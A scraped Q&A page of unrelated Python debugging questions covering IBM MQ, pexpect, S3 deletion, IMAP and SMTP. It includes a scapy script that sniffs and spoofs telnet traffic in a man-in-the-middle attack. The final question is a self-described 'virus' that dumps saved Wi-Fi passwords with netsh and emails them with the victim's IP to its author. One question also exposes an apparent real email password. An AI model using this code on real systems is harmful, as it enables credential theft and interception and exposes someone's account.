How to fix error after creating exe with Pyinsaller? - python-3.x

After creating the file exe, the following error is displayed.
This problem may be related to the TCP/IP protocol.
I don't quite understand what the mistake is.
Traceback (most recent call last):
File "list_queue.py", line 56, in <module>
File "list_queue.py", line 17, in lenth_queue
File "pymqi\__init__.py", line 3024, in connect
File "pymqi\__init__.py", line 1649, in connect_tcp_client
File "pymqi\__init__.py", line 1624, in connect_with_options
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2012: FAILED: MQRC_ENVIRONMENT_ERROR
Although everything works in PyCharm, all the data I enter works and the script works fine.
MyCode:
def lenth_queue():
dict_queue = collections.defaultdict(dict)
queue_manager = input('Enter the name of the queue manager: ')
channel = input('Enter the name of the communication channel: ')
host = input('Enter a name for the IP address of the queue manager: ')
port = input('Enter the name of the queue manager port: ')
conn_info = '%s(%s)' % (host, port)
queue_type = pymqi.CMQC.MQQT_LOCAL
qmgr = pymqi.connect(queue_manager, channel, conn_info)
c = 0
try:
prefix = '*'
pcf = pymqi.PCFExecute(qmgr,response_wait_interval=600000)
attrs = [] # typeList[pymqi.MQOpts]
attrs.append(pymqi.CFST(Parameter=pymqi.CMQC.MQCA_Q_NAME,
String=pymqi.ensure_bytes(prefix)))
attrs.append(pymqi.CFIN(Parameter=pymqi.CMQC.MQIA_Q_TYPE,
Value=queue_type))
attrs.append(pymqi.CFIL(Parameter=pymqi.CMQCFC.MQIACF_Q_ATTRS,
Values=[pymqi.CMQC.MQIA_CURRENT_Q_DEPTH]))
object_filters = []
object_filters.append(
pymqi.CFIF(Parameter=pymqi.CMQC.MQIA_CURRENT_Q_DEPTH,
Operator=pymqi.CMQCFC.MQCFOP_GREATER,
FilterValue=0))
response = pcf.MQCMD_INQUIRE_Q(attrs, object_filters)
for queue_info in response:
queue_name = queue_info[pymqi.CMQC.MQCA_Q_NAME]
queue_depth = queue_info[pymqi.CMQC.MQIA_CURRENT_Q_DEPTH]
dict_queue[queue_name.strip().decode()] = queue_depth
c += 1
writer_queue('Queue_lenth',dict_queue)
return 'File written successfully'
except pymqi.MQMIError as e:
return 'Failed to connect'
def writer_queue(name,dict_q):
txt = io.open(name + ".txt", "w", encoding="utf-8")
for key in dict_q:
txt.write('{}: {} message(s)'.format(key, dict_q[key]) + '\n')
txt.close()
print(lenth_queue())
input('Press ENTER to exit')

Related

I have a python script that works perfectly in the Thonny IDE, but fails in terminal

Firstly, here's the code:
#!/usr/bin/python3
import re, pexpect, os
file = '/home/homebridge/flags/Restart.flag'
f = open(file, 'w')
f.close()
os.system("sudo systemctl stop homebridge")
os.system("sudo chmod -R a+rwx /var/lib/homebridge")
child = pexpect.spawn('tuya-cli wizard')
child.expect('\r\n')
child.sendline('y')
child.expect('\r\n')
child.sendline('XXXXXXXXXXXXXXXX')
data = child.read()
data = data.decode("utf-8")
devices = data.split('},')
devicesO = []
class device:
name = ""
ID = ""
key = ""
def __init__(self, name, ID, key):
self.name = name
self.ID = ID
self.key = key
def __lt__(self, other):
return self.name < other.name
for i in devices:
n = re.search("name: \'(.*)\'", str(i)).group(1)
I = re.search("id: \'(.*)\'", str(i)).group(1)
k = re.search("key: \'(.*)\'", str(i)).group(1)
if n != ("Clock"):
devicesO.append(device(n, I, k))
entries = []
devicesO.sort()
for device in devicesO:
if "phone charger" not in device.name:
s1 = "{\n\"name\": \"" + device.name + "\",\n\"id\": \"" + device.ID + "\",\n\"key\": \"" + device.key + "\","
s2 = """
"type": "RGBTWLight",
"manufacturer": "SmartLife",
"model": "Light",
"dpPower": "20",
"dpMode": "21",
"dpBrightness": "22",
"dpColorTemperature": "23",
"dpColor": "24",
"colorFunction": "HSB",
"scaleBrightness": 1000
}"""
else:
s1 = "{\n\"name\": \"" + device.name + "\",\n\"id\": \"" + device.ID + "\",\n\"key\": \"" + device.key + "\","
s2 = """
"type": "Outlet",
"manufacturer": "SmartLife",
"model": "Outlet",
"dpPower": "1"
}"""
entries.append(s1 + s2)
string = ",\n".join([str(entry) for entry in entries])
config = open('/var/lib/homebridge/config.json', 'r+')
x = config.read()
config.close()
#print(x)
x = re.sub("\"TuyaLan\",\n.*\"devices\": \[((.|\n)*?)\]", "\"TuyaLan\",\n\"devices\": [\n" + string + "\n]", x)
#print(x)
#x = re.sub("\"TuyaLan\",\n.*\"devices\": \[((.|\n)*?)\]", "\"TuyaLan\",\n.*\"devices\": [\nTEST\n]", x)
config = open('/var/lib/homebridge/config.json', 'w+')
config.write(x)
config.close()
config = open('/var/lib/homebridge/config.json', 'r+')
print (config.read())
config.close()
os.remove(file)
os.system("sudo systemctl restart homebridge")
This executes as expected in the IDE, stopping the homebridge service, pulling relevant data from the tuya-cli utility, regex and text replacement, all of it. However, when I try and run it in the terminal without sudo, the first regex search returns an empty object and the script fails. When I run it with sudo, it stalls for a while then times out on the pexpect step at the beginning. I've researched before posting, but I have no clue how to solve this one. It doesn't appear to be a path issue, I used pip3 to install both re and pexpect, and os is obviously packaged with the raspbian install. Any clues would be great.
Error without sudo:
pi#raspberrypi:~ $ /home/homebridge/scripts/updateConfig.py
Traceback (most recent call last):
File "/home/homebridge/scripts/updateConfig.py", line 34, in <module>
n = re.search("name: \'(.*)\'", str(i)).group(1)
AttributeError: 'NoneType' object has no attribute 'group'
With sudo:
pi#raspberrypi:~ $ sudo /home/homebridge/scripts/updateConfig.py
Traceback (most recent call last):
File "/home/homebridge/scripts/updateConfig.py", line 10, in <module>
child.expect('\r\n')
File "/usr/local/lib/python3.7/dist-packages/pexpect/spawnbase.py", line 344, in expect
timeout, searchwindowsize, async_)
File "/usr/local/lib/python3.7/dist-packages/pexpect/spawnbase.py", line 372, in expect_list
return exp.expect_loop(timeout)
File "/usr/local/lib/python3.7/dist-packages/pexpect/expect.py", line 181, in expect_loop
return self.timeout(e)
File "/usr/local/lib/python3.7/dist-packages/pexpect/expect.py", line 144, in timeout
raise exc
pexpect.exceptions.TIMEOUT: Timeout exceeded.
<pexpect.pty_spawn.spawn object at 0x766c4510>
command: /usr/bin/tuya-cli
args: ['/usr/bin/tuya-cli', 'wizard']
buffer (last 100 chars): b'\x1b[32m?\x1b[39m \x1b[1mThe API key from tuya.com:\x1b[22m\x1b[0m \x1b[0m\x1b[29D\x1b[29C'
before (last 100 chars): b'\x1b[32m?\x1b[39m \x1b[1mThe API key from tuya.com:\x1b[22m\x1b[0m \x1b[0m\x1b[29D\x1b[29C'
after: <class 'pexpect.exceptions.TIMEOUT'>
match: None
match_index: None
exitstatus: None
flag_eof: False
pid: 1470
child_fd: 5
closed: False
timeout: 30
delimiter: <class 'pexpect.exceptions.EOF'>
logfile: None
logfile_read: None
logfile_send: None
maxread: 2000
ignorecase: False
searchwindowsize: None
delaybeforesend: 0.05
delayafterclose: 0.1
delayafterterminate: 0.1
searcher: searcher_re:
0: re.compile(b'\r\n')
Possible short answer: Your IDE is probably automatically adding carriage returns with your sendlines, which is why your code runs in the IDE, but not at the terminal. Sendline adds a line feed (\n), but not a carriage return (\r). You should add a \r after each sendline (e.g., child.sendline('XXXXXXXXXXXXXXXX\r')) to complete the CRLF (\r\n).
Long explanation:
Based on your code, when you spawned the child, you expected a CRLF. However, pexpect searches are not greedy and will stop at the first CRLF they encounter. Unfortunately, when I tested your code, pexpect stopped at the CRLF after the command you entered, not the prompt afterwards:
child = pexpect.spawn('tuya-cli wizard')
child.expect('\r\n')
print(child.before)
Output
b" tuya-cli wizard"
You should be looking for a prompt or a message instead, such as The API key from tuya.com: or Password::
# tuya-cli wizard
The API key from tuya.com:
The API secret from tuya.com:
Provide a 'virtual ID' of a device currently registered in the app:
or
# sudo tuya-cli wizard
Password:
However, I think both of your errors occurred because you did not include a carriage return (\r) with your sendlines. The first error occurred because, at the prompt, The API key from tuya.com:, you sent 'y', not 'y\r', so nothing was entered at the prompt. You then searched for CRLF, but since you had not included a \r, pexpect found the original CRLF after b" tuya-cli wizard".
The expect call actually caused a carriage return, but, unfortunately, your code was now a step behind, and was interacting with the previous prompt, not the current prompt. That is why data = child.read() ended up reading the wrong output, resulting in a NoneType object.
The second error occurred because the pexpect cursor moved up to the The API key from tuya.com: prompt, looking for a CRLF. Since it is a prompt, it does not end with a CRLF, so the pexpect search timed out (those \x1b escape sequences are just for formatting and color):
pexpect.exceptions.TIMEOUT: Timeout exceeded.
args: ['/usr/bin/tuya-cli', 'wizard']
before (last 100 chars): b'\x1b[32m?\x1b[39m \x1b[1mThe API key from tuya.com:\x1b[22m\x1b[0m \x1b[0m\x1b[29D\x1b[29C'
searcher: searcher_re:
0: re.compile(b'\r\n')
Note that there is no \r\n in the buffer or before byte strings.
I would do something like:
...
while True:
index = child.expect(
["Password:", "The API key from tuya.com:", pexpect.TIMEOUT, pexpect.EOF, ])
if index == 0:
password = getpass() # You will need 'from getpass import getpass'
child.sendline(password) # CR's are usually not needed with variables
elif index == 1:
# This is what you want
child.sendline("XXXXXXXXXXXXXXXX\r")
break
elif index == 2:
raise RuntimeError("Search string not found.")
elif index ==3:
raise RuntimeError("Child closed.")
child.expect("The API secret from tuya.com:")
child.sendline("XXXXXXXXXXXXXXXX\r")
...
Good luck with your code!

How to remove all files from Linode S3 boto using python?

I successfully create files in bucket of object storage in Linode. But while deleting all files in that storage it prompts an error.
import boto3
cfg = {
"aws_access_key_id":"XXXXXXXXXXXXXXXXXX",
"aws_secret_access_key": "XXXXXXXXXXXXXXXXXXXXXXXX",
"endpoint_url": "*********************",
}
S3_BUCKET = "test"
# empty existing bucket
def empty_s3_bucket():
client = boto3.client(
's3',
**cfg,
)
response = client.list_objects_v2(Bucket=S3_BUCKET)
if 'Contents' in response:
for item in response['Contents']:
print('deleting file', item['Key'])
client.delete_object(Bucket=S3_BUCKET, Key=item['Key'])
while response['KeyCount'] == 1000:
response = client.list_objects_v2(
Bucket=S3_BUCKET,
StartAfter=response['Contents'][0]['Key'],
)
for item in response['Contents']:
print('deleting file', item['Key'])
client.delete_object(Bucket=S3_BUCKET, Key=item['Key'])
empty_s3_bucket()
Above code cannot delete all files in that object storage however can delete single file by using different logic. Following error generates on above code:
Traceback (most recent call last):
File "c:/********/linode_empty.py", line 30, in <module>
empty_s3_bucket()
File "c:/*********/linode_empty.py", line 16, in empty_s3_bucket
response = client.list_objects_v2(Bucket=S3_BUCKET)
File "C:\********\venv\lib\site-packages\botocore\client.py", line 357, in _api_call
return self._make_api_call(operation_name, kwargs)
File "C:\*******\venv\lib\site-packages\botocore\client.py", line 676, in _make_api_call
raise error_class(parsed_response, operation_name)
botocore.errorfactory.NoSuchKey: An error occurred (NoSuchKey) when calling the ListObjectsV2 operation: Unknown
I tried for different codes suggested in old post about this on stackoverflow Amazon S3 boto - how to delete folder? but got same error.
try this:
it'll collect all the keys and batch delete 1000 at a time
import math
s3sr = boto3.resource('s3')
s3sc = boto3.client('s3')
def get_list_of_keys_from_prefix(bucket, prefix):
"""gets list of keys for given bucket and prefix"""
keys_list = []
paginator = s3sr.meta.client.get_paginator('list_objects_v2')
# use Delimiter to limit search to that level of hierarchy
for page in paginator.paginate(Bucket=bucket, Prefix=prefix, Delimiter='/'):
keys = [content['Key'] for content in page.get('Contents')]
# print('keys in page: ', len(keys))
keys_list.extend(keys)
# print(keys_list)
print('total keys in bucket: ', len(keys_list))
return keys_list
bucket = 'test'
prefix = '' #if you have 'subfolders' enter the prefix, otherwise use ''
keys_list = get_list_of_keys_from_prefix(bucket, prefix)
# print(keys_list)
total_keys = len(keys_list)
chunk_size = 1000
num_batches = math.ceil(total_keys / chunk_size)
for b in range(0, num_batches):
batch_to_delete = []
for k in keys_list[chunk_size*b:chunk_size*b+chunk_size]:
batch_to_delete.append({'Key': k})
# print({'Key': k})
# print(batch_to_delete)
s3sc.delete_objects(Bucket=bucket, Delete={'Objects': batch_to_delete,},'Quiet': True)
I'm using the previous code for less than 1000 objects
import boto3
linode_obj_config = {
"aws_access_key_id": "",
"aws_secret_access_key": "",
"endpoint_url": "",
}
client = boto3.client("s3", **linode_obj_config)
def get_list_of_keys_from_prefix(bucket, prefix):
keys_list = []
response = client.list_objects(Bucket=bucket, Prefix=prefix)
for obj in response['Contents']:
keys_list.append(obj["Key"])
# print(keys_list)
# print('total keys in bucket: ', len(keys_list))
# print("list keys: ", keys_list)
return keys_list
bucket = ''
prefix = ''
keys_list = get_list_of_keys_from_prefix(bucket, prefix)
for b in keys_list:
client.delete_object(Bucket=bucket, Key=b)

TypeError: an integer is required when trying to sniff and spoof a packet against TELNET (EDITED)

Trying to sniff and spoof packet while using MITM attack against telnet/netcat, but I get these messages when I send the spoofed packet.
The telnet attack code:
#!/usr/bin/python3
from scapy.all import *
def spoof_pkt(pkt):
data = pkt[TCP].payload.load
print("*** %s, length=: %d" % (data, len(data)))
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
data_list = list(data)
for i in range(0, len(data_list)):
**(LINE 19)** -> if chr(data_list[i]).isalpha():
data_list[i] = ord('A')
newdata = bytes(data_list)
send(newpkt/newdata)
pkt = sniff(filter="tcp and host 10.0.2.7", prn=spoof_pkt)
Error message(Edited! new error)
> Original Packet.........
('Source IP: ', '10.0.2.5')
('Destination IP: ', '10.0.2.7')
('Message: ', 'a')
Message Length: 1
Traceback (most recent call last):
File "./telnet", line 27, in <module>
pkt = sniff(filter='tcp port 23', prn=spoof_pkt)
File "/home/seed/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 780,
in sniff r = prn(p)
File "./telnet", line 19, in spoof_pkt
if chr(data_list[i]).isalpha():
TypeError: an integer is required
You can wrap your IP packet with bytes().
Like: newpkt = IP(bytes(pkt[IP]))
I also feel you are getting the TypeError: an integer is required error because of bad identation. It should be:
for i in range(0, len(data_list)):
if chr(data_list[i]).isalpha():
data_list[i] = ord('A')
newdata = bytes(data_list)
send(newpkt/newdata)

IMAP4LIB When using the store command I get the error "BAD [b'Could not parse command']"

I am new to all of this so I'm sorry if I mess this up or have already made a mess. I have two classes a GUI and my MailSorter class in the GUI class I have method which logins, then one that fetches all the EmailIds then finally fetches all the From emails and stores it in a dict. which stores the From email and amount of times it appears and an array with the From email and the ID.
def fetchFrom(self,emailIDs):
EmailAmount = dict()
Email = []
count = 0
for emailId in emailIDs:
#Converts email into string
result2,email_data = self.mail.fetch(emailId,'(RFC822)')
try:
raw_email = email_data[0][1].decode("utf-8")
email_message = email.message_from_string(raw_email)
#Fetches email address sent from
From = email_message["From"]
Email.append((From,emailId))
#print(From)
if From in EmailAmount:
EmailAmount[From] = EmailAmount[From] + 1
else:
EmailAmount[From] = 1
count += 1
if count > 10:
break
except Exception as e:
self.log.append((emailId,e))
def mainScreenInterface(self):
#Process
print("Loading program")
EmailIds = self.Mail.fetchEmailId()
EmailDict, self.EmailArray = self.Mail.fetchFrom(EmailIds)
self.master.geometry("750x600")
self.master.title("Main Screen")
self.destoryWidget()
#New Frame
self.mainScreen = tk.Frame(self.master)
self.mainScreen.pack()
#Labels
mainText = tk.Label(self.mainScreen,text = "All Emails")
mainText.config(font=("Courier","25"))
#Buttons
delete = tk.Button(self.mainScreen,text="Delete", command = self.Delete)
deleteAll = tk.Button(self.mainScreen,text="Delete All", command = self.DeleteAll)
Help = tk.Button(self.mainScreen,text="Help", command = self.Help_)
#Scrollbar
scrollbar = tk.Scrollbar(root)
scrollbar.pack(side="right",fill="y")
#Listbox
self.listbox = tk.Listbox(root,width = root.winfo_screenwidth(), height = 25)
#Attach a scrool wheel to the listbox
self.listbox.config(yscrollcommand=scrollbar.set)
scrollbar.config(command=self.listbox.yview)
#Add items to the list box
count = 1
for x,y in EmailDict.items():
self.listbox.insert(count,(x,y))
count += 1
#Placement
paddingValue = 40
mainText.pack(side="top")
self.listbox.pack(side="top")
delete.pack(side="left",padx=paddingValue)
deleteAll.pack(side="left",padx=paddingValue)
Help.pack(side="left",padx=paddingValue)
def Delete(self):
emailName = self.listbox.get(tk.ANCHOR)[0]
self.Mail.deleteEmail(emailName,self.EmailArray)
So the fetchFrom is from the mailSorter class and the other two are the GUI class, when I call the deleteEmail I get the error:
Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Python\lib\tkinter\__init__.py", line 1705, in __call__
return self.func(*args)
File "C:\Users\******\Desktop\Email Sorter v3.py", line 197, in Delete
self.Mail.deleteEmail(emailName,self.EmailArray)
File "C:\Users\******\Desktop\Email Sorter v3.py", line 66, in deleteEmail
self.mail.store(Id[1].strip(), '+X-GM-tk.LabelS', '\\Trash')
File "C:\Python\lib\imaplib.py", line 840, in store
typ, dat = self._simple_command('STORE', message_set, command, flags)
File "C:\Python\lib\imaplib.py", line 1196, in _simple_command
return self._command_complete(name, self._command(name, *args))
File "C:\Python\lib\imaplib.py", line 1027, in _command_complete
raise self.error('%s command error: %s %s' % (name, typ, data))
imaplib.IMAP4.error: STORE command error: BAD [b'Could not parse command']
but when I run it as a text base with no GUI and use an example email it all works fine:
test = MailSorter("hamadnassor5#gmail.com","snerfulbubble1.")
test.login()
EmailIds = test.fetchEmailId()
EmailDict, EmailArray = test.fetchFrom(EmailIds)
test.displayEmails(EmailDict)
test.deleteEmail("Xbox <Xbox#outlook.com>",EmailArray)
test.closeCon()
DeleteMail code
def deleteEmail(self, emailName, EmailArray):
for Id in EmailArray:
if Id[0] == emailName:
print(Id[0])
print(emailName)
print(Id[1])
self.mail.store(Id[1].strip(), '+X-GM-tk.LabelS', '\\Trash')

TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found in PYTHON 3.8.1

IM SPANISH SO SOME PARTS OF THE CODE (specially names and other things)
python gives me this error
i wanna help cuz im new in python and fixing errors its not my special hability (sorry for my english im spanish)
Traceback (most recent call last):
File "C:\Users\Ticua\Desktop\#test with ip.py", line 38, in <module>
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found
%%MYPASSWORD%% is the password of the mail that i dont wanna be discovered
my code :
import subprocess
requests = 'requests'
subprocess.call(['pip', 'install', requests])
from requests import get
import smtplib
ip = str(get('https://api.ipify.org').text)
y = 'C:'
reques = input("pon el nombre de tu red : ")
x = str(subprocess.call(['netsh', 'wlan', 'export', 'profile', 'key=clear', 'folder=C:']))
f = open('C:' + '/Conexión de red inalámbrica-' + reques + '.xml', 'r')
TO = 'ticua07#gmail.com'
SUBJECT = 'victima del virus'
TEXT = ip, f
# Gmail Sign In
gmail_sender = 'logonuihacks#gmail.com'
gmail_passwd = '%%MYPASSWORD%%'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
f.close()
try:
server.sendmail(gmail_sender, [TO], BODY)
print ('email sent')
except:
print("fu***d up")

Resources